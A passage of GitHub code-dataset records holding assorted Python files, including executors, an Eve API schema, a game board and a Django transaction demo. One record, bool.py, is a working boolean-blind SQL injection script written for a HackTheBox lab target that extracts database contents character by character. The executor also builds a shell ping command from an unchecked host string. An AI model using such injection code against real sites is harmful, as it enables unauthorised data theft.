\"\"\"\n\n def __init__(self):\n self.thread_executor: Optional[ThreadExecutor] = None\n self.process_executor: Optional[ProcessExecutor] = None\n self.remote_executor: Optional[RemoteExecutor] = None\n\n @staticmethod\n def _ping(host) -> bool:\n logger.debug('RUN> ping -c 1 %s', host)\n try:\n x = cmd_exitcode(\n f'ping -c 1 {host} >/dev/null 2>/dev/null', timeout_seconds=1.0\n )\n return x == 0\n except Exception:\n return False\n\n def thread_pool(self) -> ThreadExecutor:\n if self.thread_executor is None:\n self.thread_executor = ThreadExecutor()\n return self.thread_executor\n\n def process_pool(self) -> ProcessExecutor:\n if self.process_executor is None:\n self.process_executor = ProcessExecutor()\n return self.process_executor\n\n def remote_pool(self) -> RemoteExecutor:\n if self.remote_executor is None:\n logger.info('Looking for some helper machines...')\n provider = ConfigRemoteWorkerPoolProvider() # type: ignore\n all_machines = provider.get_remote_workers()\n pool = []\n\n # Make sure we can ping each machine.\n for record in all_machines:\n if self._ping(record.machine):\n logger.info('%s is alive / responding to pings', record.machine)\n pool.append(record)\n\n # The controller machine has a lot to do; go easy on it.\n for record in pool:\n if record.machine == platform.node() and record.count > 1:\n logger.info('Reducing workload for %s.', record.machine)\n record.count = max(int(record.count / 2), 1)\n\n policy = WeightedRandomRemoteWorkerSelectionPolicy()\n policy.register_worker_pool(pool)\n self.remote_executor = RemoteExecutor(pool, policy)\n return self.remote_executor\n\n def shutdown(self) -> None:\n if self.thread_executor is not None:\n self.thread_executor.shutdown(wait=True, quiet=True)\n self.thread_executor = None\n if self.process_executor is not None:\n self.process_executor.shutdown(wait=True, quiet=True)\n self.process_executor = None\n if self.remote_executor is not None:\n self.remote_executor.shutdown(wait=True, quiet=True)\n self.remote_executor = None\n","repo_name":"scottgasch/pyutils","sub_path":"src/pyutils/parallelize/executors.py","file_name":"executors.py","file_ext":"py","file_size_in_byte":64302,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"4249814167","text":"#!/usr/bin/env python3\n\nimport yaml\nimport os\nfrom pathlib import Path\n\nclass Character:\n\n def __init__(self, id):\n self.id = id\n self.error = None\n self.file_path = 'characters/character-' + str(id) + '.yaml'\n self.exists()\n self.load()\n\n def exists(self):\n file = Path(self.file_path)\n self.character_exists = file.is_file()\n\n def load(self):\n if self.character_exists == True:\n with open(self.file_path, 'r') as character_yaml:\n try:\n self.character = yaml.load(character_yaml)\n except ValueError as e:\n self.error = e\n self.show_error()\n\n def show_error(self):\n if self.error is not None:\n error_length = len(self.error)\n line = '*'\n for _ in range(error_length + 3):\n line += '*'\n line += '\\n'\n print(line)\n print(\"* {} *\".format(self.error))\n print(line)\n","repo_name":"Tom-Camp/characterbuilder","sub_path":"character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74548268033","text":"from eve.utils import config\nfrom eve_sqlalchemy.decorators import registerSchema\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, String, Integer, Boolean, ForeignKey, DateTime\n\nfrom utvsapi.auth import EnrollmentsAuth\n\n\nBase = declarative_base()\ndomain = {}\nclasses = {}\nconfig.ID_FIELD = config.ITEM_LOOKUP_FIELD = 'id'\n\n\ndef register(cls):\n '''Decorator that registers it and keeps track of it'''\n plural = cls.__name__.lower() + 's'\n registerSchema(plural)(cls)\n domain[plural] = cls._eve_schema[plural]\n\n # make sure id is our id_field\n # I think this should happen automatically but it doesn't\n domain[plural]['id_field'] = config.ID_FIELD\n\n domain[plural]['description'] = {'general': cls.__name__ + 's'}\n if cls.__doc__:\n domain[plural]['description'].update({'methods': {'GET': cls.__doc__}})\n\n # make all ids of type objectid\n # should not be necceassry, but feels good :)\n domain[plural]['schema']['id']['type'] = 'objectid'\n\n # change data_relation's schema a bit\n for field, value in domain[plural]['schema'].items():\n # is it a field with data_relation\n if 'data_relation' in value:\n # resource is the table name by default\n # eve-sqlalchemy juts hopes it will be the same\n # since we rename things, we need to rename it here as well\n # fortunately, we are consistent and can construct it\n value['data_relation']['resource'] = field + 's'\n # make it embeddable, cannot enable it globally\n value['data_relation']['embeddable'] = True\n\n if hasattr(cls, '__authentication__'):\n domain[plural]['authentication'] = cls.__authentication__\n\n if hasattr(cls, '__auth_field__'):\n domain[plural]['auth_field'] = cls.__auth_field__\n\n if hasattr(cls, '__additional_lookup__'):\n domain[plural]['additional_lookup'] = cls.__additional_lookup__\n\n classes[plural] = cls\n return cls\n\n\n@register\nclass Destination(Base):\n __tablename__ = 'v_destination'\n\n id = Column('id_destination', Integer, primary_key=True)\n name = Column(String)\n url = Column(String)\n\n\n@register\nclass Hall(Base):\n __tablename__ = 'v_hall'\n\n id = Column('id_hall', Integer, primary_key=True)\n name = Column(String)\n url = Column(String)\n\n\n@register\nclass Teacher(Base):\n __tablename__ = 'v_lectors'\n\n id = Column('id_lector', Integer, primary_key=True)\n degrees_before = Column('title_before', String)\n first_name = Column('name', String)\n last_name = Column('surname', String)\n degrees_after = Column('title_behind', String)\n personal_number = Column('pers_number', Integer)\n url = Column(String)\n\n def __display_func__(response):\n make_ints(response, 'personal_number')\n\n\n@register\nclass Sport(Base):\n __tablename__ = 'v_sports'\n\n id = Column('id_sport', Integer, primary_key=True)\n shortcut = Column('short', String, unique=True)\n name = Column('sport', String)\n description = Column(String)\n\n __additional_lookup__ = {'url': 'regex(\"[\\w]+\")',\n 'field': 'shortcut'}\n\n\n@register\nclass Course(Base):\n __tablename__ = 'v_subjects'\n\n id = Column('id_subjects', Integer,\n primary_key=True)\n shortcut = Column(String)\n day = Column(Integer)\n starts_at = Column('begin', String)\n ends_at = Column('end', String)\n notice = Column(String)\n semester = Column(Integer)\n sport = Column(Integer, ForeignKey('v_sports.id_sport'))\n hall = Column(Integer, ForeignKey('v_hall.id_hall'))\n teacher = Column('lector', Integer,\n ForeignKey('v_lectors.id_lector'))\n\n def __display_func__(response):\n make_ints(response, 'day', 'hall', 'sport', 'teacher')\n make_links(response, 'hall', 'sport', 'teacher')\n\n\n@register\nclass Enrollment(Base):\n __tablename__ = 'v_students'\n __authentication__ = EnrollmentsAuth\n __auth_field__ = 'personal_number'\n\n id = Column('id_student', Integer, primary_key=True)\n personal_number = Column(Integer)\n kos_course_code = Column('kos_kod', String)\n semester = Column(String)\n registration_date = Column(DateTime)\n tour = Column(Boolean)\n kos_code_flag = Column('kos_code', Boolean)\n course = Column('utvs', Integer,\n ForeignKey('v_subjects.id_subjects'))\n\n def __display_func__(response):\n if not response['kos_code_flag']:\n response['kos_course_code'] = None\n del response['kos_code_flag']\n make_links(response, 'course')\n\n\ndef make_links(response, *args):\n for arg in args:\n if isinstance(response[arg], dict):\n # embedded\n id = response[arg]['id']\n else:\n id = response[arg]\n response[config.LINKS][arg] = {\n 'href': '{}s/{}'.format(arg, id),\n 'title': arg.title()\n }\n\n\ndef make_ints(response, *args):\n for arg in args:\n if not isinstance(response[arg], dict):\n # not embedded\n response[arg] = int(response[arg])\n\n\ndef remove_dates(response):\n del response[config.LAST_UPDATED]\n del response[config.DATE_CREATED]\n\n\ndef on_fetched_item(resource, response):\n remove_dates(response)\n if hasattr(classes[resource], '__display_func__'):\n return classes[resource].__display_func__(response)\n\n\ndef on_fetched_resource(resource, response):\n for item in response[config.ITEMS]:\n remove_dates(item)\n if hasattr(classes[resource], '__display_func__'):\n classes[resource].__display_func__(item)\n","repo_name":"hroncok/utvsapi-eve","sub_path":"utvsapi/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":5625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42337631833","text":"# %%\nimport os\nimport pygame as pg\nfrom settings import BG_GREEN, LIGHT_GREEN, DARK_GREEN, BLUE, RED, ROWS, COLS, SQUARE_SIZE, OFFSET_X, OFFSET_Y, MATERIALS_DIR\nfrom ball import Ball\nfrom player import Player\nfrom numpy.random import randint\nfrom shared_memory_dict import SharedMemoryDict\n\n\n\n# %%\nclass Field():\n\n def __init__(self):\n self.field = []\n self.turn = 0\n self.ball = None\n self.player = None\n self.smd = SharedMemoryDict(name='msg', size=1024)\n self.smd[\"ball_x\"] = None\n self.smd[\"ball_y\"] = None\n self.smd[\"player_x\"] = None\n self.smd[\"player_y\"] = None\n self.smd[\"emg_trigger\"] = None\n self.smd[\"move_direction\"] = 0\n self.smd[\"pull_ball\"] = False\n\n\n\n self.initialize_field()\n\n def draw_squares(self, window):\n window.fill(BG_GREEN)\n for row in range(ROWS):\n for col in range(row % 2, COLS, 2):\n pg.draw.rect(window, DARK_GREEN,\n (OFFSET_X + col * SQUARE_SIZE, OFFSET_Y + row * SQUARE_SIZE,\n SQUARE_SIZE, SQUARE_SIZE))\n for col in range(row % 2 - 1, COLS, 2):\n if col >= 0:\n pg.draw.rect(window, LIGHT_GREEN,\n (OFFSET_X + col * SQUARE_SIZE, OFFSET_Y + row * SQUARE_SIZE,\n SQUARE_SIZE, SQUARE_SIZE))\n\n def reset_ball_and_player(self):\n self.field[self.ball.row][self.ball.col] = 0\n ball_row = ROWS-2\n ball_col = randint(COLS)\n self.ball = Ball(ball_row, ball_col) # create new ball\n\n self.player.row = 0\n self.player.col= randint(COLS)\n \n self.field[self.ball.row][self.ball.col] = self.ball\n self.field[self.player.row][self.player.col] = self.player\n\n self.smd['ball_x'] = self.ball.col\n self.smd['ball_y'] = self.ball.row\n self.smd['player_x'] = self.player.col\n self.smd['player_y'] = self.player.row\n\n def draw_goal(self, window):\n center_x = OFFSET_X + (COLS / 2) * SQUARE_SIZE\n\n goal_surf = pg.image.load(os.path.join(MATERIALS_DIR, 'goal_box.png')).convert_alpha()\n goal_surf = pg.transform.scale(goal_surf, (2*SQUARE_SIZE, 1.5*SQUARE_SIZE))\n goal_rect = goal_surf.get_rect(midbottom=(center_x, OFFSET_Y+20))\n window.blit(goal_surf, goal_rect)\n\n def initialize_field(self):\n ball_row = ROWS - 2\n ball_col = randint(COLS)\n\n player_row = 0\n player_col = randint(COLS)\n\n for row in range(ROWS):\n self.field.append([])\n for _ in range(COLS): \n self.field[row].append(0)\n\n self.ball = Ball(ball_row, ball_col)\n self.player = Player(player_row, player_col, BLUE)\n\n self.field[ball_row][ball_col] = self.ball\n self.field[player_row][player_col] = self.player\n\n self.smd['ball_x'] = self.ball.col\n self.smd['ball_y'] = self.ball.row\n self.smd['player_x'] = self.player.col\n self.smd['player_y'] = self.player.row\n\n def get_piece(self, row, col):\n return self.field[row][col]\n\n def get_player(self):\n return self.player\n\n def get_ball(self):\n return self.ball\n\n def draw(self, window):\n self.draw_squares(window)\n self.draw_goal(window)\n for row in range(ROWS):\n for col in range(COLS):\n piece = self.field[row][col]\n if piece != 0:\n piece.draw(window)\n\n def move(self, piece, row, col):\n tmp_1 = self.field[row][col]\n tmp_2 = self.field[piece.row][piece.col]\n\n self.field[piece.row][piece.col] = tmp_1\n self.field[row][col] = tmp_2\n\n piece.move(row, col)\n\n def is_at_the_edge(self, piece):\n if (piece.row in [0, ROWS-1]) or (piece.col in [0, COLS-1]):\n if (piece.row == 0) and (piece.col in [COLS/2 - 1, COLS/2]):\n return False\n return True\n \n return False\n\n def get_valid_moves(self, player):\n moves = set()\n \n ball_adjacent = False\n\n row = player.row\n col = player.col\n\n left = col - 1\n right = col + 1\n up = row - 1\n down = row + 1\n\n if left >= 0:\n moves.add((row, left))\n if up >= 0:\n moves.add((up, left))\n if down < ROWS:\n moves.add((down, left))\n\n if right < COLS:\n moves.add((row, right))\n if up >= 0:\n moves.add((up, right))\n if down < ROWS:\n moves.add((down, right))\n\n if up >= 0:\n moves.add((up, col))\n\n if down < ROWS:\n moves.add((down, col))\n\n tmp_copy = moves.copy()\n\n for move in tmp_copy:\n row, col = move\n if self.get_piece(row, col) != 0:\n moves.remove(move)\n ball_adjacent = True\n\n return moves, ball_adjacent\n\n","repo_name":"ALINA991/nise-bmi-challenge","sub_path":"nise-bmi-challenge-main/game/field.py","file_name":"field.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72681891073","text":"\n\n\nimport pickle\nimport pandas as pd\nfrom flask import Flask,request,render_template\nimport numpy as np\nimport pandas as pd\nimport numpy as np\nimport pandas_profiling as pf\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\nfrom sklearn.impute import KNNImputer\nfrom sklearn.cluster import KMeans\nfrom sklearn.model_selection import train_test_split\nfrom xgboost import XGBClassifier\nfrom sklearn.metrics import roc_auc_score,accuracy_score\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import roc_auc_score,accuracy_score\nimport logger\n\nclass predict:\n\n def __init__(self,file):\n self.log_path = file\n self.log_writer=logger.App_Logger()\n\n\n def get_values(self):\n try:\n B={}\n B[\"age\"] = request.form.get('age')\n B[\"hours\"] = request.form.get('hours')\n B['Black']=0\n B[\"gainorloss\"] = request.form.get('gainorloss')\n B[\"marital_status\"] = request.form.get('marital_status')\n B['Doctorate']=0\n B['HS-grad']=0\n B['Masters']=0\n B['higher-edu']=0\n B['school']=0\n B['Gov']=0\n B['Self-emp']=0\n B[\"gender\"] = request.form.get('gender')\n B['Mexico']=0\n B['US'] = 0\n B['NotFamily'] = 0\n B[\"race\"] = request.form.get('race')\n B[\"country\"] = request.form.get('country')\n B[\"child\"] = request.form.get('child')\n B[\"education\"] = request.form.get('Education')\n B[\"work\"] = request.form.get('workclass')\n return B\n except Exception as e:\n self.log_writer.log(self.log_path, e)\n\n def format_pred(self,B):\n try:\n if B['race'] == 'black':\n B['Black'] = 1\n else:\n B['Black'] = 0\n B.pop('race')\n if B['country'] == 'Mexico':\n B['Mexico'] = 1\n if B['country'] == 'United States':\n B['United States'] = 1\n B.pop('country')\n if B['child']=='yes':\n B['NotFamily']=0\n else:\n B['NotFamily']=1\n B.pop('child')\n if B['work']=='Gov':\n B['Gov']=1\n elif B['work']=='Self-emp':\n B['Self-emp']=1\n B.pop('work')\n if B['education']=='Doctorate':\n B['Doctorate']=1\n if B['education']=='Masters':\n B['Masters']=1\n if B['education']=='school':\n B['school']=1\n if B['education']=='higher-edu':\n B['higher-edu']=1\n if B['education'] == 'HS-grad':\n B['HS-grad'] = 1\n B.pop('education')\n return B\n except Exception as e:\n self.log_writer.log(self.log_path, e)\n\n\n\n\n\n","repo_name":"daksha-2001/internship","sub_path":"prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72466155393","text":"#This script makes boolean-blind sql injections easier, but may require some adaptations since it was exclusively crafted for the StreamIO HTB machine\nimport requests\nfrom requests.structures import CaseInsensitiveDict\nimport re\nimport sys\nimport urllib3\nimport string\n\n#Disable warnings of insecure SSL requests\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n#Define global variables\ntarget = 'https://watch.streamio.htb/search.php'\nheaders = CaseInsensitiveDict()\nheaders = {'Content-Type': 'application/x-www-form-urlencoded'}\ndata={}\n#This is the \"payload\" that will be inserted inside the substring function, modify it in order to get the query results.\nfunction = \"DB_NAME()\"\n\n#A very good cheatsheet for MSSQL Databases --> https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/\n\n#Set dictionary (abcdefghijklmnopqrstuvwxyz0123456789.-_ $!)\ndictionary = string.ascii_lowercase + string.digits + '.-_ $!'\n\n#Calculate the length of the result\ndef calculate_length():\n\tfor i in range(1,100):\n\t\tdata['q'] = f\"avenger%' AND (LEN({function}) = {i});--\"\n\t\tr = requests.post(target,data=data,headers=headers,verify=False)\n\t\tif int(r.headers['Content-length']) > 1500:\n\t\t\tlength = i\n\t\t\tprint(f\"The length of the {function} function is {length}\")\n\t\t\treturn length\n\n#Send data via post\ndef dump_results():\n\tlength = calculate_length()\n\tresult = ''\n\tfor i in range(1,length+1):\n\t\tfor d in dictionary:\n\t\t\tdata['q'] = f\"avenger%' AND (substring({function}, 1, {i}) = '{result}{d}');--\"\n\t\t\tr = requests.post(target,data=data,headers=headers,verify=False)\n\t\t\t#Content-Length < 1500 means \"no data from the database has been returned\" (not exact number)\n\t\t\t#Content-Length > 1500 means \"data from the avenger movies has been returned, so the boolean query is true\"\n\t\t\tif int(r.headers['Content-length']) > 1500:\n\t\t\t\tprint(d)\n\t\t\t\tresult+=d\n\t\t\t\tbreak\n\tprint(\"Result --> \"+result)\n\n\ndump_results();\n","repo_name":"DannAsekas/tools","sub_path":"bool.py","file_name":"bool.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23323353443","text":"# -*- coding:utf-8 -*-\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom django.db import models\n\n\"\"\"hmm\"\"\"\nfrom django.conf import settings\nsettings.configure(\n DEBUG=True,\n DATABASES={\"default\": {\n \"ENGINE\": \"django.db.backends.sqlite3\",\n \"NAME\": \":memory:\"\n }}\n)\n\n\ndef get_connection():\n \"get default database connection\"\n from django.db import connections\n connection = connections['default']\n return connection\n\n\ndef get_cursor(connection):\n \"get database cursor from connection\"\n return connection.cursor()\n\n\ndef get_style():\n from django.core.management.color import no_style\n return no_style()\n\n\ndef create_table(model):\n connection = get_connection()\n cursor = get_cursor(connection)\n style = get_style()\n\n sql, references = connection.creation.sql_create_model(\n model, style)\n for statement in sql:\n cursor.execute(statement)\n\n for f in model._meta.many_to_many:\n create_table(f.rel.through)\n\n\n# model definition\nclass Person(models.Model):\n name = models.CharField(max_length=255, null=False, default=\"\")\n age = models.IntegerField(null=True)\n birth = models.DateTimeField(null=True)\n death = models.DateTimeField(null=True)\n\n class Meta:\n app_label = \"myapp\"\n\n\nif __name__ == \"__main__\":\n import django\n django.setup()\n import logging\n for name in ['django.db.backends']:\n logger = logging.getLogger(name)\n logger.setLevel(logging.DEBUG)\n logger.addHandler(logging.StreamHandler())\n\n create_table(Person)\n\n from django.db import transaction\n # atomic simply\n try:\n with transaction.atomic():\n Person(name=\"foo\").save()\n raise Exception(\"oops\")\n except:\n assert Person.objects.count() == 0\n\n # manual transaction\n try:\n transaction.set_autocommit(False)\n assert Person.objects.count() == 0\n Person(name=\"boo\").save()\n transaction.rollback()\n assert Person.objects.count() == 0\n raise Exception(\"oops\")\n except:\n pass\n finally:\n transaction.set_autocommit(True)\n assert Person.objects.count() == 0\n\n # comprex situation\n with transaction.atomic():\n Person(name=\"a\").save()\n assert Person.objects.count() == 1\n try:\n with transaction.atomic():\n Person(name=\"b\").save()\n assert Person.objects.count() == 2\n raise Exception(\"oops\")\n except:\n assert Person.objects.count() == 1\n assert Person.objects.count() == 1\n\n","repo_name":"podhmo/django-sandbox","sub_path":"transaction-sample.py","file_name":"transaction-sample.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"40113117565","text":"from core.common import *\nfrom core.model import generator_graph\nfrom core.var import *\nimport numpy as np\nimport pickle\nimport tensorflow as tf\n\n\ndef import_data(path):\n\n # import dictionary & test. \n with open(path+'dictionary.pkl', 'rb') as p:\n dictionary = pickle.load(p)\n with open(path+'test.pkl', 'rb') as p:\n test = pickle.load(p)\n \n return dictionary, test\n\n\ndef generate_lyric(df, checkpoint_path):\n \n import tensorflow as tf\n \n # import graph.\n graph = generator_graph(VOCAB_SIZE, EMBEDDING_SIZE, HIDDENUNITS, BATCH_SIZE, KEEP_PROB)\n saver = graph['saver']\n decoder_prediction = graph['decoder_prediction']\n \n # predict next measures.\n test = df.next_batch(1)\n encoder_input = test[0]\n decoder_input = test[1]\n\n with tf.Session() as sess:\n saved_path = tf.train.latest_checkpoint(checkpoint_path)\n saver.restore(sess, saved_path)\n print(saved_path)\n \n result = []\n for _ in range(10):\n prediction_index = np.zeros(0).astype(int)\n generate_text_index = sess.run(decoder_prediction, feed_dict={graph['encoder_inputs'] : encoder_input,\n graph['decoder_inputs'] : decoder_input})\n result.append(generate_text_index)\n\n # create next batch df\n test = df.next_batch(1)\n \n # setting new input\n encoder_input = test[0]\n decoder_input = test[1]\n \n return result\n\n\ndef print_lyric(result, dic):\n \n for i in range(len(result)):\n print([dic[x] for x in result[i][0].tolist() if x in dic.keys()])\n","repo_name":"jx2lee/lyric-generator","sub_path":"core/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"2534277493","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\ndef create_initial_choices(apps, schema_editor):\n CourseMaterialType = apps.get_model('metadata', 'CourseMaterialType')\n CourseMaterialType.objects.create(name='Assignment or Exercise')\n CourseMaterialType.objects.create(name='Syllabus')\n CourseMaterialType.objects.create(name='Course Presentation')\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('metadata', '0017_conferencename_presentationtype'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='CourseMaterialType',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(unique=True, max_length=100)),\n ],\n options={\n 'ordering': ('name',),\n 'verbose_name': 'Course Material Type',\n 'verbose_name_plural': 'Course Material Types',\n },\n ),\n migrations.RunPython(create_initial_choices),\n ]\n","repo_name":"jamstooks/hub","sub_path":"hub/apps/metadata/migrations/0018_coursematerialtype.py","file_name":"0018_coursematerialtype.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31167748401","text":"import logging\nimport numpy as np\n\nclass CodeReviewFocusRecommender():\n \"\"\"Detects lines of code on which a review should focus on\"\"\"\n\n def __init__(self, classifier, code_tokenizer, \n seq_len, similarity_finder, embeddings_extractor,\n review_comments_df, line_column, purpose_column,\n subject_columns, message_column,\n classify_threshold=0.5):\n \"\"\"\n Parameters:\n -----------\n classifier : keras model, a BERT model trained to detect lines that will be commented on.\n code_tokenizer : acora.code.CodeTokenizer, a tokenizer to use to tokenize the lines for classification.\n seq_len : int, a maximum length of a line of code.\n embeddings_extractor : acora.code_embeddings.CodeLinesBERTEmbeddingsExtractor, used to extract embeddings.\n similarity_finder : acora.code_similarities.SimilarLinesFinder, a finder used to search for reference comments.\n review_comments_df : pandas.DataFrame, data frame with review comments,\n line_column : str, a column name with line contents.\n purpose_column : str, a column name of comment purpose.\n subject_columns : a list of str, the names of a comment subject columns.\n message_column : str, a name of the column storing comments.\n classify_threshold : float, a threshold for classification decision - default is 0.5.\n \"\"\"\n self.classifier = classifier\n self.tokenizer = code_tokenizer\n self.seq_len = seq_len\n self.embeddings_extractor = embeddings_extractor\n self.similarity_finder = similarity_finder\n self.review_comments_df = review_comments_df\n self.line_column = line_column\n self.purpose_column = purpose_column\n self.subject_columns = subject_columns\n self.message_column = message_column\n self.classify_threshold = classify_threshold\n\n self.logger = logging.getLogger('acora.recommend')\n\n\n def review(self, lines):\n \"\"\"Reviews the givnen lines and returns the recommendations.\n \n Parameters:\n -----------\n lines : a list of str, lines to review.\n return : a list, each entry in the list consists of the line contents, decsion \n (1 - the reviewer should focus on the line, 0 - ignore),\n and some focus information as a dictionary.\n \"\"\"\n result = []\n review_decisions = self._detect_lines_to_comment(lines)\n suspicious_lines = list({line for i, line in enumerate(lines) if review_decisions[i] == 1})\n\n if len(suspicious_lines) > 0:\n self.logger.debug('Extracting embeddings...')\n embeddings = self.embeddings_extractor.extract_embeddings(suspicious_lines)\n self.logger.debug('Finding similar lines...')\n similar_lines_dict = self.similarity_finder.query_to_dict(suspicious_lines, embeddings)\n\n self.logger.debug(\"Processing the results of classification\")\n for i, decision in enumerate(review_decisions):\n if i % 100 == 0:\n self.logger.debug(f\"Processing the line {i+1} of {len(lines)}...\")\n line = lines[i]\n recommendations = {}\n if decision == 1:\n similar_lines = set(similar_lines_dict.get(line, []))\n comments_df = self.review_comments_df[self.review_comments_df[self.line_column].isin(similar_lines)]\n recommendations['no_similar_lines'] = len(similar_lines)\n recommendations['no_comments'] = comments_df.shape[0]\n recommendations['purpose'] = comments_df.groupby(self.purpose_column)[self.purpose_column].count().div(comments_df.shape[0]).to_dict()\n recommendations['subject'] = comments_df[self.subject_columns].sum(axis=0, skipna=True).div(comments_df.shape[0]).to_dict()\n recommendations['comments_lines'] = comments_df[self.line_column].tolist()\n recommendations['comments_messages'] = comments_df[self.message_column].tolist()\n \n result.append((line, decision, recommendations))\n\n return result\n\n def _detect_lines_to_comment(self, lines):\n \"\"\"Classifies lines to detect those that should be commented on.\n\n Paremeters:\n -----------\n lines : a list of str, lines to be classified.\n return : a list of int, a list with decisions for each line: 1 - to comment, 0 - OK\n \"\"\"\n self.logger.debug(\"Tokenizing lines...\")\n tokenized_all_code_lines = [self.tokenizer.encode(text, max_len=self.seq_len)[0] for text in lines]\n x_all = [np.array(tokenized_all_code_lines), np.zeros_like(tokenized_all_code_lines)]\n\n self.logger.debug(\"Classifying lines...\")\n y_all_pred = self.classifier.predict(x_all)\n\n return [1 if y >= self.classify_threshold else 0 for y in y_all_pred]\n \n\n\n","repo_name":"mochodek/acora","sub_path":"src/acora/recommend.py","file_name":"recommend.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"10870245797","text":"import requests\nimport json\nfrom libs.databaseworker import create_db\nimport os\n\nwith open('settings.py', 'w') as f:\n if os.path.isfile('dbwebcheker.db'):\n dbanswer = input('You already have dbwebcheker, do you want create NEW EMPTY db? (y or n)\\n').strip()\n if dbanswer == 'y':\n f.write(\"DATABASE = 'dbwebcheker.db'\\n\")\n try:\n create_db()\n print('Empty sqlite dabatabe generated')\n except:\n print('Can\\'t generated Sqlite database')\n else:\n print('New database not created')\n else:\n f.write(\"DATABASE = 'dbwebcheker.db'\\n\")\n try:\n create_db()\n print('Empty sqlite dabatabe generated')\n except:\n print('Can\\'t generated Sqlite database')\n api = input('Ask @BotFather and enter API token for telegram: ')\n f.write(f\"API_TOKEN = '{api}'\\n\")\n print('Write \"/chat_id\" to your telegram bot')\n chat_id = ''\n while chat_id=='':\n try:\n req = requests.get(f'https://api.telegram.org/bot{api}/getUpdates')\n tmp = json.loads(req.text)\n chat_id = tmp['result'][0]['message']['chat']['id']\n print('chat_id Added successfully')\n except:\n continue\n f.write(f\"CHAT_IDS = ['{chat_id}']\\n\")\n warn_before = input('How long do need to warn you about domain expiration: ')\n f.write(f'WARN_ADVANCE = {warn_before}\\n')\n print('Settings complete')","repo_name":"anosovs/botWebChecker","sub_path":"first_run.py","file_name":"first_run.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7021662798","text":"\"\"\"Module to run commands.\"\"\"\n\nimport subprocess\nimport sys\n\n\nclass CommandParser():\n \"\"\"Class to run commands.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize class.\"\"\"\n self.commands = {\n \"run ru\": \"python3 -m CardGames ru\",\n \"run eng\": \"python3 -m CardGames eng\",\n \"run tests\": \"python3 -m unittest CardGames.code.test_games\",\n \"create docs\": \"cd docs && make html\",\n \"flake8\": \"flake8 ./CardGames/code\",\n \"pydocstyle\": \"pydocstyle ./CardGames/code\",\n \"pybabel update\": \"pybabel extract ./CardGames/code/* -o \\\n ./CardGames/localization/CardGames.pot && \\\n pybabel update -D CardGames -i \\\n ./CardGames/localization/CardGames.pot -d \\\n ./CardGames/localization/ -l eng && \\\n pybabel update -D CardGames -i \\\n ./CardGames/localization/CardGames.pot \\\n -d ./CardGames/localization/ -l ru\",\n \"pybabel compile\": \"pybabel compile -d CardGames -i \\\n ./CardGames/localization/eng/LC_MESSAGES/CardGames.po \\\n -o ./CardGames/localization/eng/LC_MESSAGES/CardGames.mo && \\\n pybabel compile -d CardGames -i \\\n ./CardGames/localization/ru/LC_MESSAGES/CardGames.po -o \\\n ./CardGames/localization/ru/LC_MESSAGES/CardGames.mo\",\n \"wheels\": \"python3 setup.py bdist_wheel && \\\n pip3 install ./dist/CardGames*\"\n }\n\n def run_command(self, command):\n \"\"\"Run command.\"\"\"\n if command in self.commands:\n subprocess.run(self.commands[command], shell=True)\n elif command == 'all':\n for command in [\n 'wheels',\n 'create docs',\n 'pybabel update',\n 'pybabel compile',\n 'flake8',\n 'pydocstyle'\n ]:\n subprocess.run(self.commands[command], shell=True)\n elif command == 'help':\n print(\"Shortcut: commands\")\n for key, value in self.commands.items():\n print(\n key + ':',\n '\\n\\t'.join(' '.join(value.split()).split(' && '))\n )\n print(\"help: write all commands\")\n print(\"all: setups project\")\n else:\n print(\n \"No such command;\\n\" +\n \"Run with help options to see available commands\"\n )\n\n\nif __name__ == \"__main__\":\n CP = CommandParser()\n command = ' '.join([name for name in sys.argv[1:]])\n CP.run_command(command)\n","repo_name":"AndrewBabichev/CardGames","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20061502358","text":"from abc import ABC\n\nimport nni\nimport numpy as np\nimport torch\nfrom sklearn.metrics import accuracy_score, recall_score, f1_score, precision_score\nfrom sklearn.utils import shuffle\nfrom torch import nn\nfrom torch.nn.utils.rnn import pack_padded_sequence\n\nfrom utils import next_batch, create_src_trg, 